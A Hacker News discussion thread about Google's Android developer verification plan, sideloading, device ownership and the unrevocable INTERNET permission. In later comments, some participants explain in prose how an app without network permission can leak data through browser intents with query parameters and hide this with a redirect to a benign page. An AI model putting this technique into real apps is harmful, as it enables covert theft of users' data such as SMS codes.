I guess you haven't seen the spyware that OEMs ship with the android devices. Even Samsung is notorious for it - especially on their smart TVs. I'm not going to talk at all about the Chinese OEMs. For that matter, it's very hard for a normal user to even uninstall facebook - an app that's known to collect information from the device that it doesn't need. Manufacturers caring for their security reputation was some 20 years ago. Only Apple does it these days, just because it's their highlight feature. But even they tried once to ship off images on the phone to iCloud without the users' permission to 'check it for csam'. The rest treat it like a portable spying device on steroids.
> There are more reasons to distrust the user. I don't buy greed is the only relevant one.
Trusting the user isn't the manufacturer's prerogative. It's supposed to be the user's property once they pay for it. You are insisting on the manufacturer retaining control even afterwards - something I and many others vehemently oppose as unfair and scummy. Now if you are worried about the security reputation, proven methods exist that allow the smart users to take full control of the device while preventing regular users from shooting their own foot. But OEMs and their apologists pretend that the problem is entirely on the user side and the only solution is to lock it down in a block of glue. And there is one good reason for this ignorance, oversight and denial - greed. Retaining control over the end device forever allows them to squeeze users for their every last penny. I will need another epic post just to enumerate the ways in which the control over the end devices allows them to do so. But I'm not going to do that because HN has entire stories and discussions on each of those topics.
Especially if it's illegal (like speaking against the government, in some countries).
Maybe this is a bit of a hot take, but I think any government that has the ability to absolutely prevent people from breaking the law is a government with far too much power. I'm all in favor of law enforcement, but at some point it starts to cross over the line from enforcement to violation of people's free will.
Yes, very clear warnings; I could live with a small permanent icon in the status bar (via the GPU firmware) etc. But absolutely should not void warranties (overclocking might but never just root).
If you can't destroy your own hardware by rooting, do you have true root access?
Easy enough to have an efuse blow if you overvolt; then an dificult conversion on a warrenty claim. Whilst ideologically this is ceeding some control I can accept it.
I don't think users understand the risks. I'm broadly accepting of the protection of end users through mechanisms. Peoples entire lives are managed through these small devices. We need much better sandboxing to almost create a separate 'VM' for critical apps such as banking and messaging.
The problem is Dunning Kruger effect.
The people who shouldn't disable these security features tend to be the first to do so. And then complain the loudest when the enter the "find out" phase.
It's amazing how often we hamper the majority of society by protecting the bottom quintile from the consequences of their own mistakes.
That's not what it's ever actually about. You're buying a disingenuous framing that pins blame on the bottom when all these harmful trends come from the top. This isn't to protect grandma, it's to protect Google. This is always what happens when you allow pockets of power with interests misaligned from those of most people. The pockets of power get their way, and people are worse off.
The thing is, even if Google has a hidden motive in this case, the prevailing public morality doesn't allow you to argue against a measure designed to protect the weakest and poorest among us. Once a vulnerable group has been invoked, the public stops caring about their rights, the cost-benefit balance and most other rational concerns.
I think the phenomenon is most visible in the United Kingdom. Not just with respect to the recent age verification measures, but also with respect to the government's recent financial misadventures.
That's not entirely wrong but I dislike the framing.
It appears to transfer the guilt of a successful deception that manufactures consent to public morality and the vulnerable. The real issue is it couldn't succeed without mendacious officials that suffer no consequences and uncritical/supportive media pushing the ball across the line.
It's also a much broader phenomenon than "protect the vulnerable". There are many other overused buttons they press to seek consent e.g. fear being the most common. Fear of terrorism, fear of job losses or tax rises, prejudice of others etc.
> You're buying a disingenuous framing
Of course it's a disingenuous framing. A certain kind of person is both attracted to power and deathly afraid of people voicing unapproved opinions "outside their kitchens".
Things can have multiple justifications, some public, some not: some conscious, some not. Central control and a feeling that a parental figure is in control of the tribe primes, at a primal level, a certain kind of person to like an idea. The specific post-hoc justification is almost incidental.
That said, such things need a semblance of legitimacy to work. It'd be much harder to crack down on general purpose computing under the guise of safety if we had cultural antibodies agains safetyism in general.
I have a friend from college who once clicked on a link to download more RAM for his PC. He has a PhD now and deserves it - the PhD just isn’t in anything tech-adjacent. Bottom quintile is a floating signifier.
Everyone makes mistakes
Protecting the bottom quintile from consequences of thier mistakes also protects everyone else if they ever make those mistakes in a momentary lapse
Maybe society shouldn't be structured in such a way that people have to be constantly hyper vigilant to avoid mistakes with high consequences
It's just not possible to prevent mistakes while letting people color outside the lines. Most brilliant ideas look like stupidity at first. I want to live in a world that biases towards discovery over safety.
There is a line, at least a blurry one, though.
There is not much to discover from e.g. not using seatbelts. There is absolutely a need to protect a population from itself which should cover certain stuff, while not others.
> There is absolutely a need to protect a population from itself which should cover certain stuff
No, there isn't. I'd much rather live in a world where we were able to make our own decisions about personal safety, regardless of how poor those decisions are.
In a perfect world, nobody would be forced to wear a seatbelt and yet everyone would eagerly wear one.
I'd also much rather live in a world where everyone does the right thing, there's no greed, stupidity and short-sightedness. Unfortunately I have to make do with our current one. The fact is that a lot of people are stupid. Even very clever people often act irrationally and against their own interests. In the end, we have to strike a balance between personal freedom and the need to protect people from themselves.
Let's look at the case of mandatory seatbelts, and entertain your proposition that people don't need to be protected from themselves. What will happen?
Well, quite a few things are basically inevitable:
1. The issue will be politicized and there'll be hardliners who refuse to wear seatbelts. There are people who are vehemently against wearing full face helmets while riding motorbikes, even though the injuries from faceplanting into the road at speed are truly ghastly. 2. Once the number of people not wearing seatbelts goes up, a whole slew of interesting negative externalities pop up (and you seem to be gleefully ignoring these): 2.a) Simple fender benders will suddenly result in severe and fatal injuries instead of scuffs and bruises. 2.b) Insurance costs increase to cover the higher likelihood of injuries. 2.c) Fewer people can afford insurance. 2.d) Society has to bear the burden of treating and supporting people who get maimed and need lifelong care.
So what is your proposal to do here? What would you do with a person who didn't wear a seatbelt and got severely brain damaged due to this? Just abandon them to die? It was their choice after all. Who should bear the burden of treating these people? Do we now have tailor made insurance for those who don't wear seatbelts? What if these people will simply opt out of insurance?
At the end of the day, a society has to make a few pragmatic tradeoffs and limit certain freedoms as the cost is just not worth it.
For the issue of people not wearing seat belts causing insurance premiums to rise for all, a solution is for insurance companies to be allowed to refuse compensation in cases where seat belts weren't properly used.
And yes, if those people have no way to pay for extreme medical treatments to save their life, they shouldn't be provided further assistance. They should bare the consequences of their decisions. Future generations will hopefully make smarter decisions as a result.
Your comment is a perfect example of the worldview I described. Your argument is essentially that without rules stupid people will do foolish things and get hurt.
Yes, they will. So what? That's the price of freedom. I've never been a fan of slave morality.
> Who should bear the burden of treating these people?
You're arguing that we're all the hook if we let people do dangerous things and clean up after them when they screw up. There are two ways out of this situation, not one.
There's a direct line from mandating seatbelts to mandating developer certificates. If you accept in one domain that it's legitimate for power to reduce freedom to protect people from themselves, you'll accept it in every domain.
Look: in order for a mandate to be justifiable, it needs to at least provide superlinear benefit to linear adoption. That is, it has to solve a coordination problem.
Do seat belts solve any coordination problem? Do they benefit anyone but those wearing them? No. Therefore, the state has no business mandating them no matter the harm prevented.
A certain kind of person thinks differently though. He sees "harm" and relishes the prospect of "protecting" people from that "harm". They don't recognize the legitimacy of individual bad decisions. The self is just another person trying to hurt you. This kind of person would turn the whole world into a rubberized playground if he could.
> Do seat belts solve any coordination problem? Do they benefit anyone but those wearing them? No. Therefore, the state has no business mandating them no matter the harm prevented.
If drivers were the only ones who wore seatbelts, you would have a point. In practice, seatbelts save the lives of the passengers, spouses, kids, etc. who are riding in the car, and hence this is indeed a coordination problem.
You don't necessarily need to prevent all the mistakes, you can often just make them less costly.
s/the bottom quintile from the consequences of their own mistakes/the top centile from antitrust law/g
The "bottom quintile"? By what metric?
This is why I believe GPL v3 is important.
This should be a part of right to repair. The grouping would get more people with common cause together.
100% in alignment with this! Direct quote from the end of the post I linked:
“In the broader conversation of right to repair regulations, we also need to be thinking about a "right to root access" for computing devices.” :)
I see no other way than regulation to force the two to provide drivers and manuals for alternative OS makers.
We should've nipped it with Apple, but there was so much _whatabout_ing that the conversation always go sidetracked with assertions about the free market and what not. It turns out, there is no free market, and we're just living in someone's managed device walled garden.
To be fair to Google, they got so much cricticism for allowing so many spam apps.
Why do we need app stores in the first place?!? No app stores => no vetting, let users download whatever apps they choose, and deal with the consequences.
Agreed. The store are unnecessary and sold under the guise of "protecting" the user, when it's really about controlling user use, keeping them ignorant and spying on them.
Google does not care if your data is leaked by an app offered by some nebulously defined verified developer that phones home without reason, or that you develop a problem with online gambling or predatory micro transactions, etc. Blows my mind that we have come this far in the fight for user rights, ownership and accountability and still the majority is going to just trust Google because they're Google. No corporation is your friend. Let the users operate the device they paid for* as they see fit, learning to accept the responsibility for for all the success and failures that come with it and we will suddenly start seeing much, much smarter users.
Mostly it's about milking app sales with the app store fees. Apple for instance get's about 15-20% of it's gross profit from app store fees. For Google it has been estimated that play store fees make up about 13% of their Google services profit.
I think initiatives like this are a form of "marketing" to show that "hey, app stores are important because we protect the users. We shouldn't be regulated away."
App stores are riddled not only with spyware and malware, but also with harmful content like gambling apps targeted at kids. And they claim some moral high ground as an excuse to ever more pervasive spying and control? Fuck me, Stallman was right all along.
Yeah on the play store, nothing wrong with enforcing standards there, but enforcing a monopoly on it changes that.
It's a tricky balance-act to secure their ecosystem.
The more measures they take to secure it while allowing the user to decide whether to participate, the more drastic this opt-out user-decision becomes.
In order to now preserve that "open ecosystem", they would have to provide the user an option to disable Google Services entirely, which would turns the device almost into a separate product
All this is unlikely to happen just for the sake of "pleasing the community", I believe we need a general legally binding definition of what functions the user owns if (and when) a device is stripped of any services on top.
If my car loses functions once it loses connection to the manufacturer, this bare set should be communicated as the purchased value ("in exchange for your money"), separately from any on-top "in exchange for your data" business-model
The problem is phones became too important. They get trusted more than desktops for things like banking and ID verification.
Feeling like the optimum solution is to just have two devices. Your phone that has all of your banking, ID, etc. and another device that’s completely open, can install whatever you want on, but doesn’t matter too much if it gets hacked.
If this is a reasonable direction, it could still be achieved on the same device. There would be sufficient security architecture available to completely isolate those two areas.
But I feel the issue is less about malware gathering your banking, ID etc, but malware holding your data hostage, using your (social) network for nefarious purposes or tricking you into something you don't want to do.
And for all those cases, having that "other" device doesn't help.
> If this is a reasonable direction, it could still be achieved on the same device. There would be sufficient security architecture available to completely isolate those two areas.
The problem here is: Who controls the means of input and output - the screen and keyboard? The trusted identity thingy sometimes needs to show the user some details, have them key in a pin number, things like that. So they know whether they're approving a $2 in-app purchase, or a 10-bitcoin transfer.
If the free and open part of the system controls the screen and keyboard, the details could be shown wrong and the pin number could be keylogged and replayed later.
If the secure-and-locked-down part of the system controls the screen and keyboard, the free and open part of the system is basically reduced to an app or website.
And if the secure-and-locked-down part of the system has its own separate screen and keyboard - it's hardly the same device.
Dual boot + secure boot solves it. People just don't want to use it.
You want to reboot your device any time you need to, say, approve a credit card payment?
No thanks.
No, but I find the supported options to customize Android sufficient for my needs so that wouldn't happen to me personally.
My point is only that there's already a system that lets you run whatever apps you want, and to heavily customize the OS, and also make your bank happy by running a secure OS. It's just out of the box Android. You can replace all the built in apps, including the base "desktop" GUI, keyboard and browser. So this discussion revolves around an edge case: someone who wants to customize security-critical OS primitives like the kernel or compositor, AND who isn't doing this as part of a project big enough to partner with Google, AND who wants their bank to accept their changes as secure enough, AND who doesn't want to provide such institutions with some non-Google managed evidence of that, AND who doesn't want to tolerate using two devices.
There's very few use cases for that. The only one anyone can seem to muster in this thread is to prepare for a hypothetical future in which Google prevents ad blocking at the OS level, which hasn't happened in more than 15 years of Google being an ad company. So today there is a vanishingly small number of people for whom Android's existing mechanisms are insufficient, and for those people, there is dual boot - again, because the Android team planned for this and built a secure boot system that allows alternative OS installs on a phone.
> they got so much
And get judged for their reactions, as is proper procedure.
Why am I reading today articles that present an apocalypse without clearly specifying if there is a "way out OS flag" (allow installation of unverified APK)?
> we will be confirming who the developer is, not reviewing the content of their app or where it came from.
What is the point of that? Then app content is the problem.
Ideally if they setup manual review then it would resolve some issues.
It's so that when someone installs a fake banking app and gets their money taken they can point the authorities to the right person to arrest.
Very true and this was predictable. That said, I haven't installed any apps for months now since I don't consider Android to be a usable OS anymore. It could be technically, but I have no will to fight Google and manufacturers on their lock down ambitions.
Ironically that degraded phones to be just that. Phones with build-in high quality cameras. For everything else there are better alternatives.
You can't steal something if you can't own it.
so we are doomed? since people don't even really get why right to repair is important this kind of concepts fly way above the head of most peoples..
Sure. You will have the right to root, unless on a device with a locked bootloader. /s
Lets just call it what it is and what we all want. "The right to modify". It doesn't give you the right to copy, so it will never break any law protecting intellectual property.
You'll own nothing (not even your digital assets) and be happy!
> Every day we stray farther from the premise that we should be allowed to install / modify software on the computers we own.
I’ve never agreed with this premise.
I buy things that mostly meet my needs and desires in every other walk of life. I’m personally OK with extending this to computers as well.
That doesn't make sense. How do meet your own needs and desires if you can't use your own property the way you want?
And isn't the point in this very situation that people simply can't buy what they want because Google and Apple are a duopoly and now Google is going to follow the path of restricting what you can do with your own property?
> How do meet your own needs and desires if you can't use your own property the way you want?
My needs and desires aren’t that complicated. There’s nothing that I really want or need to do that I can’t do on my phone or iPad.
The logic here seems to be "I don't care about freedom because my jail cell is large enough." What if you wake up one day and it isn't?
Your response reminds me of Snowden's quote, which I'll likely butcher because it's from memory, but roughly: "Saying you don't care about privacy because you have nothing to hide is like saying you don't care about freedom of speech because you have nothing to say".
I'm 45 years old. I've woken up 16,000+ times and it's been fine.
I know what I do on computers/phones/iPads. I know that every computer/phone/iPad I've ever owned has done more or less what I wanted. I'm usually the weak link, not the device.
I don't go to bed worried that the sun is going to rise in the West. I've got things that seem likely to happen to worry about.
If I were in the 0.01%, savings wouldn't be a thing. I wouldn't even need a home. Just go around staying wherever I like for as long as I like doing whatever I want. I wouldn't really care about what google or apple does with their devices, who attacked or defeated whom and all that bs because I wouldn't be in survival mode.
At least this is probably how people in charge of enshittification think like.
This is based on the false assumption that the free market solves every problem.
But the reality (which was correctly identified by Adam Smith himself) is that the effort required to enter a market can sometimes be so high, that we practically end up with oligopolies, see mobile OSs. They require a network effect to make sense, so the entry cost is not just developing the product, but also to somehow convince basically every other player to consider you a target platform - which is a cyclical problem that you can't just bootstrap yourself into. Even Microsoft failed at it, even though they were paying hefty sums to companies for apps working on their OS.
> This is based on the false assumption that the free market solves every problem.
I assure you it is not.
Ok I'll bite. Tell me what you find appealing about losing authority? Is this some kind of emotional response for not wanting to take responsibility?
How can I lose something that I don’t have any interest in having?
My needs and desires are to have control over my tech stack.
Neat! That’s why I said, “I’m personally OK with…” rather than “You’re personally OK with…”
Are you intentionally defending a rent-economy or just ignorantly?
Oh it’s intentional.
OK. Why?
Because I have a fundamentally different view than the comment I replied to.
Ya but why. Were you born this way?
Official announcement: https://android-developers.googleblog.com/2025/08/elevating-...
More info:
https://developer.android.com/developer-verification
https://support.google.com/googleplay/android-developer/answ...
Personally...we all know the Play Store is chock full of malicious garbage, so the verification requirements there don't do jack to protect users. The way I see it, this is nothing but a power grab, a way for Google to kill apps like Revanced for good. They'll just find some bullshit reason to suspend your developer account if you do something they don't like.
Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.
> we will be confirming who the developer is, not reviewing the content of their app or where it came from
This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction.
TFA had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given.
On the flip side, that's one less platform I care about supporting with my projects. We're down to just Linux and Windows if you're not willing to sell your soul (no, I will not be making a Google account) just for the right to develop for a certain platform.
It's never about security (at least not user's security). It's like you pointed out only about power and locking in customers. They don't care if your phone gets hacked or you bank account drained. They care about the bottom line. Android is fine. Google should have 2 layers if they're worried playstore 1 has only well vetted authors and apps. playstore 2 can be the free for all (mostly) of the current store. These could be two different apps or prominent tags. Choice is good, lock down is bad. Corporate does not like employees or customers to have freedom, that's why it's our duty to fire people like the current US regime who always side with corporations over customers.
This is a drastic response, but they didn't make up the security threat. Attackers convincing users to side-load malware is a thing.
https://www.bitdefender.com/en-us/blog/hotforsecurity/hacker...
The thing is that people sideloading good non-malware apps because they want to is also a thing, and all kinds of icky apps that abuse permissions but are still verified and installed through the Play Store are also a thing. This doesn't really change what is a thing. It just moves more stuff under Google's control.
security is the "Save the Children" of technology. It's not that there isn't a theoretical thing there, it's that in the real material sense, the actual actions taken are power grabs for control and suppression.
> Attackers convincing users to side-load malware is a thing.
Sure. It’s also not Google’s problem.
It’s not Victorinox’s problem of someone uses a Swiss Army knife to cut someone else. It’s not Toyota’s problem if someone deliberately runs over a pedestrian.
Car companies do care if their cars are easy to break into and will improve the security of newer models, even if any particular theft is not their fault.
If they don't do that then their reputation will suffer and governments might take notice. So, in practice, big companies do have to care about their users, not individually but in aggregate.
That's a bad analogy. No one is complaining about Google providing Android security updates.
This is like a car manufacturer preventing the installation of all unapproved aftermarket accessories by claiming they're protecting you from a stalker installing a tracker on your car.
I don’t actually think it’s that bad. If all of a sudden we started hearing an awful lot about Android phones having viruses, to the point where almost everyone had a friend who got a virus on their android. I think the market would actually shift. We’d probably see more people moving to iPhones.
> Car companies do care if their cars are easy to break into and will improve the security of newer models, even if any particular theft is not their fault.
Didn't Kia go over a decade without caring or improving until the Kia Boys stuff?
Yep, it took a while but it eventually caught up with them.
They made it up in the sense that it's completely unnecessary - most malware is on the Play Store.
What is the source for this extraordinary claim? Also, malware hosted in the play store has the property of being tied to an identity which can be banned.
I don't need a source, it's common fucking sense.
1. Most users do not use fdroid or APKs to download software. They download software from the play store.
2. Therefore almost all malware will target the play store.
3. Therefore most malware actively used comes from the play store.
4. Compounded, the play store does almost nothing to prevent malware and actively encourages certain types of malware like spyware and adware.
5. Compounded, Google gets a cut from each piece of malware sold on the play store or advertised on the play store, therefore they have no incentive to prevent malware in any significant way.
It's the security of having happier shareholders, making more money.
That's still security, albeit an entirely different threat model.
> Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps. But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.
You've never needed the internet permission to exfiltrate data. Just send an intent to the browser app to load a page owned by the attacker with the data to be exfilled in the query parameters.
Wouldn't that launch the browser app and bring it to the foreground? I wouldn't compare that to having full network access.
It'd launch the browser app. You can have your evil page redirect to a benign page so it just looks like Chrome randomly opened or whatever. It is not as powerful as full network access as you can only send so much information in query parameters, but if you are doing some phishing or stealing sms 2fa codes or whatever then it is plenty to send back whatever payload you wanted to.
And of course basically every app requires internet permissions for ordinary behavior. The world where an explicit internet permission would somehow get somebody to look askance at some malware that they were about to download is just not believable.
The ability to launch other apps can be put behind a permission screen too.
> had me believing that bypassing the restriction might've been possible by disabling Play Protect, but that doesn't seem to be the case since there aren't any mentions of it in the official info we've been given.
I don't think we can know for sure before the change is actually in place. Going through Play Protect would certainly be the easiest way of implementing this - it would be a simple change from "Play Protect rejects known malware" to "Play Protect rejects any app that isn't properly notarized". This would narrowly address the issue where the existing malware checks are made ineffective by pushing some new variant of the malicious app with a different package id.
It's a big change for the ecosystem nonetheless because it will require all existing developers to register for verification if they want to publish a "legit" app that won't be rejected by any common Android device - and the phrasing of the official announcements accurately reflects this. But this says nothing much as of yet about whether power users will be allowed to proactively disable these checks (just like they can turn off Play Protect today, even though very few people do so in practice).
> This is such an odd statement. I mean, surely they have to be willing to review the contents of apps at some point (if only to suspend the accounts of developers who are actually producing malware), or else this whole affair does nothing but introduce friction.
Requiring company verification helps against some app pretending to be made by a legitimate institution, e.g. your bank.
Requiring public key registration for package name protects against package modification with malware. Typical issue - I want to download an app that's not on available "in my country" - because I'm on a holiday and want to try some local app, but my "play store country" is tied to my credit card and the developer only made it available in his own country thinking it would be useless for foreigners. I usually try to download it from APKMirror. APKMirror tries to do signature verification. But I may not find it on APKMirror but only on some sketchy site. The sketchy site may not do any signature verification so I can't be sure that I downloaded an original unmodified APK instead of the original APK injected with some malware.
Both of these can be done without actually scanning the package contents. They are essentially just equivalents of EV SSL certificates and DANE/TLSA from TLS world.
> Typical issue - I want to download an app that's not on available "in my country" - because I'm on a holiday and want to try some local app,
The solution here is just to get rid of artificial country limitations which make some users download APKs. None of those make sense in the online world anyways.
<< we will be confirming who the developer is, not reviewing the content of their app or where it came from
To be honest, it almost makes me wonder if the issue here is not related to security at all. I am not being sarcastic. What I mean is, maybe the issue revolves around some of the issue MS had with github ( sanctions and KYC checks ).
Play Protect is just spyware to monitor app usage & exploitation. It doesn't prevent or protect anything.
Can you elaborate a little bit about this hidden internet access control setting?
<uses-permission android:name="android.permission.INTERNET" />
It's been there since Android 1.0.
What's missing is a way for the user to deny it.
Google also used to show you which apps used Internet permission in Play Store. But they removed it, which makes it harder to notice which apps don't use it.
Google mostly doesn't let you deny permissions while running apps that require them; recently there's some permissions that you can pick at runtime. So it's not suprising that they don't let you deny this one, when they don't even show it in the store.
It is still there
App page => "About this app" => "App permissions / See more" at the bottom of the page => look for "have full network access" in "Other"
Oh man remember when the Play Store showed ALL permissions an app used BEFORE installation and Facebook's one was so long you had to scroll multiple times?
Even device owner (MDM) apps can't revoke that permission.
Even on the play store Google management has demonstrated they can, and will, "revoke" ownership. For example, when a single payment is blocked on your credit card because you did a charge-back against them. Then, suddenly, they point to a 250 page EULA "you agreed to" that describes what they mean by ownership: nothing at all.
You can deny it on Graphene OS.
Interesting, you can't deny it on stock Android? TIL. You can on LineageOS.
It's available on GrapheneOS btw, when you install a new App it shows a checkbox where you can disable internet access.
"Hidden" isn't exactly right. It's completely inaccessible, unless you use a custom ROM like LineageOS. But it is a real permission:
https://developer.android.com/develop/connectivity/network-o...
Force enabled, more like
You can deny internet to any specific app.
> Every time I hear mentions of "safety" from the folks at Google, I'm reminded that there's a hidden Internet permission on Android that can neuter 95% of malicious apps
Of that they still refuse to sandbox the play store.
It's easy to see that there's a pattern on what they are copying from GrapheneOS.
> Of that they still refuse to sandbox the play store.
It's absolutely essential that Google Play Services have "root" permissions and circumvent the permissions system normal apps have. How else would Google have access to all of your data? :)
So KYC but C is “competition”.
And K is "kill".
Doesn't Windows have the same thing aka Code Signing?
https://www.electronforge.io/guides/code-signing/code-signin...
You can install unsigned apps on Windows just fine, maybe with one extra nag screen. Plenty of large open source projects don't sign their installers - VLC being one big example that many normal people use.
IIRC Windows is testing to turn that nag screen into a "no you don't". Which is such BS given all the evidence we have that malware vendors and bad actors have and continue to get their malware signed by MS because they simply can't reliably detect it.
MS has tried many things like this in the past, but they have backed out every time so far. Of course, that doesn't mean that we shouldn't complain about the attempts, but, for now, even the latest Windows fully allows installing unsingned software as easily (or very close) as signed software.
What is the hidden internet permission called? Is there any way to enable or see it?
No you can’t enable it, nowadays developer just declare if they want internet permission. Before, user could say « no, I don’t want you to have internet access ».
It’s something possible only on grapheneos as far as I know.
> But it's hidden, apparently because keeping users from using it to block ads on apps is of greater concern to Google than keeping people safe.
The internet permission has nothing to do with ads? It's a hidden permission because:
1) Internet connection is so ubiquitous as to just be noise if displayed
2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar
It absolutely has to do with ads. While there are various ways to exfiltrate small amounts of data, the non-collaborative ones are rarely silent and most importantly, they won't let the app get responses (e.g. ads) back.
The main thing this permission would be used for would be blocking ads. Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?
> The main thing this permission would be used for would be blocking ads.
This permission has existed for longer than runtime permissions. You have never been able to revoke it, it was just something you agreed to when you installed the app or you didn't install the app.
It was "removed" in that era because if every app requests the same permission, then nobody cares about it anymore. When every app asks for the same thing, users stop paying attention to it. So no, it had fuck all to do with ads because that was never a thing in the first place. And ad blocking doesn't require this permission, either.
> Also distinguishing shitty apps that are full of ads from those that aren't. If there is a calculator that needs Internet and one that doesn't, which one are you going to use?
You can still use it for this. Apps are required to declare the permission still, it's listed on the Play Store under the "permissions" section. Similarly the OS reports the same thing. Presumably F-droid or whatever else also has a list of permissions before you install, and it'll be listed there.
Although Google's own Calculator app requires Internet permission. Take that for what's it worth.
> 1) Internet connection is so ubiquitous as to just be noise if displayed
That doesn't make it any less useful.
> 2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar
I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it. But even if it is flawed, don't you think Google would be a bit more incentivized to make the Internet permission work as expected if people could disable it?
> I've never managed to find even a single PoC bypassing it
Because it is obvious. Just open a web browser.
More details here: https://old.reddit.com/r/androiddev/comments/ci4tdq/were_on_...
> I've heard claims that the Internet permission is flawed, yes, but I've never managed to find even a single PoC bypassing it.
Happily uses the browser app to do the data send for you. Requiring apps to have all the permissions of the recipient of an Intent before being allowed to send it would be a catastrophic change to the ecosystem.> would be a catastrophic change to the ecosystem.
Hey we were already on board with this, you don't have to convince us.
The effect of this would be to make all apps request all permissions because even if you are just using some other app for a particular feature you need, you have no control over what other permissions they might add which would suddenly break any intents you send them. The only defense would be to request everything.
You could very specifically ban ACTION_VIEW intents for web URIs from apps without an internet permission I guess. But does banning apps from linking to the web (to be opened in browsers) really seem like a good idea?
Similar changes have been done before, the security sandbox behaves differently based on the app's minimum/target API level for backwards compatibility.
That's also why there's a warning before installing really old apps, they may run with extra permissions.
I don’t see why you couldn’t disallow opening URL intents. App intents that enable to exfiltrate data should be cracked down on by Google, it’s basically a privilege escalation.
"No links to web uris allowed" would be a pretty intense restriction. Now the free calculator can't even link to the paid version on the app store. There's already precious few apps that don't really need internet access (usually simple tools apps that don't have ads) and this even further limits that set.
so? pop up a permission prompt. have the user confirm.
and isn't it immediately apparent that the app is leaking data if your calculator is popping a webview?
"Pop up a permission prompt every single time an app links out to a browser" is not going to be a thing that users like.
Yes, this is a little suspicious. But you just have the evil page redirect to google.com or something benign. To the user it looks like "huh, chrome just opened on its own."
> "Pop up a permission prompt every single time an app links out to a browser" is not going to be a thing that users like.
Calculator.apk wants to open the web page https://eviltracker.example.com. Allow this time? Allow for 24 hours? Allow and don't ask me again?
Do we show this annoying popup (that the large majority of the time will be benign and just aggravate users) for all apps, or just those that don't request the internet permission?
Doing this for all apps would be wild. Doing this just for those that don't request the internet permission just encourages more apps to request it (it is basically universally used anyway). "Huh, why does my calculator need internet" has never actually been effective at helping people avoid malware at any meaningful scale.
> Doing this for all apps would be wild.
No it wouldn't, not at all.
90% of apps on your phone do not need to be apps. Facebook does not need to be an app. Instagram does not need to be an app.
This is a sober reminder that apps are executables code that is running on your phone with very little sandbox. Its not like a web browser.
We do not need to execute compiled binaries that are closed source to buy parking that one time. No, no we don't.
Why do we? Because as I've said - such apps are much more powerful than the web browser and can therefore be used as spyware or keyloggers. Most apps on Android, including most Google apps, can be regarded as spyware.
Companies don't want to give up their de facto malware they've built up, and now users are trained to just install whatever the fuck on their phone.
We have given software 1000x more permission than it needs to do want it does. And now, we sit back and complain about malware.
This starts with Google, this starts with Meta, this starts with big tech. They directly caused all this malware by forcing users into downloading executables so they can exfiltrate your key presses.
I mean, I just did a quick look over the installed apps on this phone and ~1/4 of them would work perfectly well without an internet connection, things like a level or GPS speedometer that use the phone sensor or apps for Bluetooth control of devices [like 0] . Why would something like a bubble level app need internet access for anything besides telemetry or ads? I realize I have way more of these types of apps than the average user, but apps like this aren't a super-niche thing that would be on 0.1% of devices.
I just tend to give Google little benefit of the doubt here, considering where their revenue comes from. Same as when they introduced manifest v3, ostensibly for security but just conveniently happening to neuter adblocking. Disabling access to the internet permission for apps aligns with their profit motive.
There's plenty of actually problematic stuff Google does (like this change in the article), there's no need to make up whack ass conspiracy theories, too.
The internet permission is the only regular manifest permission you can't toggle in the settings. It is an obvious win for an advertising/surveillance company like Google. What is wack about it?
> The internet permission is the only regular manifest permission you can't toggle in the settings.
That's not even a little bit true? There's a ton of 'normal' permissions, almost none of which are user-overrideable. Like, say, android.permission.VIBRATE. Or android.permission.GET_PACKAGE_SIZE. Android has an obscene number of permissions ( https://developer.android.com/reference/android/Manifest.per... ) and almost none of them have a UI to control them nor any ability to be rejected
> It is an obvious win for an advertising/surveillance company like Google. What is wack about it?
How, exactly? How does Google benefit from random 3p apps having Internet access? And remember, Google has play services on every device to proxy anything it needs/wants.
half of the random 3p apps include Google advertising SDKs. How do you reconcile the fact that the internet permission still cannot be toggled, almost 20 years after it was required in the app manifest?
Huh? Not sure how this qualifies as "whack ass". There's an internet permission built in to the OS that Google chose to not expose to the user. The parent poster was claiming there is no reason anyone would want that permission, I then pointed out a whole category of apps that don't need internet to function for anything besides ads and telemetry. All of this is factual info.
So rather than just dismissing the argument via insulting language, can you provide a reasonable alternative explanation for why this setting isn't exposed to the user?
The internet permission is exposed to the user, it just can't be revoked by the user. But that's true of like 100 other permissions, too. It's the default case that permissions are not revokable.
And I did provide 2 reasons why that's the case for Internet specifically, neither of which were even attempted to be refuted in this comment chain
I would really like to deny internet access for apps like mx player. The frequency of ads on that app once Times group bought is the worst I've seen in my entire life. One of the best video players on Android, ruined.
Some chinese skins do offer the ability to revoke internet access for apps. I wonder why the western ones don't?
OK, so this is getting ridiculous. The internet permission isn't exposed to the user, unless you are saying that 'exposed to the user' is the same as 'system default and can't be modified'. The user has no way to see or modify that permission.
I pretty solidly refuted your first reason (internet connection is ubiquitious, apps don't need it). I pointed out that there are whole categories of apps that don't need a network connection. You never bothered to refute my argument and are now claiming that I didn't address that point. You claim it is a 'ubiquitous' permission, but haven't said why a level sensor app that just reads the MEMS gyro sensor would need a network connection at all. So that's point 1 sorted, which I already addressed and you are pretending wasn't refuted.
Point 2 was "2) It's not robust, apps without Internet permission can still exfiltrate data relatively easily by bouncing off of other apps using Intents and similar"
I never addressed this, because it seemed extraneous to the discussion. This data exfiltration is purely a hypothetical at this point, since apps can always rely on a network connection. Sure, if the network setting was exposed to the user and was able to be toggled, there might be ways to bypass that. But that is hypothetical, and relies on hypothetical security loopholes. No apps are currently doing this, since apps can't have their network permissions toggled. The possibility of potentially bypassing the system network permission toggle doesn't seem germane, since it's a hypothetical. To use your words, it's a 'whack-ass conspiracy theory' and not a germane concern.
